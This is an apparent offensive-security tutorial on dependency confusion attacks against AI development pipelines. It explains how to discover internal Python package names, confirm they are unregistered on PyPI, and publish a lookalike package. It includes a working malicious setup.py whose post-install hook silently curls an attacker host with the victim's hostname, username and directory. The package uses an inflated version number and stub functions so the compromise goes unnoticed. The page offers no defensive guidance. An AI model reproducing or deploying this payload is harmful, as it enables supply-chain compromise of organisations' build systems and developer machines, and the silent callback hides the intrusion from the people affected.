Dependency Confusion Attacks Against AI Python Packages
Dependency confusion exploits package manager resolution order. When an organization uses internal Python packages with names not registered on PyPI, publishing a public package with the same name causes pip to install the public version instead of the internal one — because public repositories take precedence by default in many pip configurations. AI development environments are particularly exposed because they install dozens of packages across training scripts, fine-tuning pipelines, and inference servers, often in automated CI/CD contexts where the install output is not reviewed.
The attack requires knowing the names of internal packages used in the target's AI pipeline. These are discoverable through job postings, GitHub repositories, Docker images, error messages in public issue trackers, and leaked requirements.txt files.
Discover Internal Package Names
Internal package names appear in public artifacts. Search job postings, GitHub, and public Docker images for requirements files and import statements:
torch==2.1.0 transformers==4.36.0 company-ml-utils==1.2.3 company-data-loader==0.8.1 company-model-registry==2.0.0 datasets==2.15.0
Packages prefixed with company- or org- that have no public PyPI presence are internal packages. Confirm they are not on PyPI before registering:
company-ml-utils: ERROR: No matching distribution found for company-ml-utils company-data-loader: ERROR: No matching distribution found for company-data-loader company-model-registry: ERROR: No matching distribution found for company-model-registry
Craft and Publish the Malicious Package
Build a package with the internal name that executes a payload during installation via setup.py or a post-install script. Version it higher than the internal package to ensure preference in resolution:
/tmp/company-ml-utils/setup.py
from setuptools import setup
from setuptools.command.install import install
import subprocess, os
class PostInstall(install):
def run(self):
install.run(self)
# Beacon callback on install
subprocess.Popen(
f'curl -sk http://$LHOST:$LPORT/install?host=$(hostname)&user=$(whoami)&pwd=$(pwd)',
shell=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL
)
setup(
name='company-ml-utils',
version='9.9.9', # high version wins resolution
packages=['company_ml_utils'],
cmdclass={'install': PostInstall},
author='Internal Tools',
description='ML utilities for model training pipelines',
)
The package exports stub functions matching the internal API so import errors do not immediately surface the compromise. The payload fires silently during pip install in any CI/CD pipeline or developer environment that installs the requirements file.
References
-
Dependency Confusion — How I Hacked Into Apple, Microsoft and Dozens of Other Companiesmedium.com/@alex.birsan/dependency-confusion-4a5d60fec610 (opens in new tab)
Original dependency confusion research by Alex Birsan with methodology and discovery techniques
-
PyPI — Trusted Publishersdocs.pypi.org/trusted-publishers (opens in new tab)
PyPI package publishing reference for upload workflow
Was this helpful?
Your feedback helps improve this page.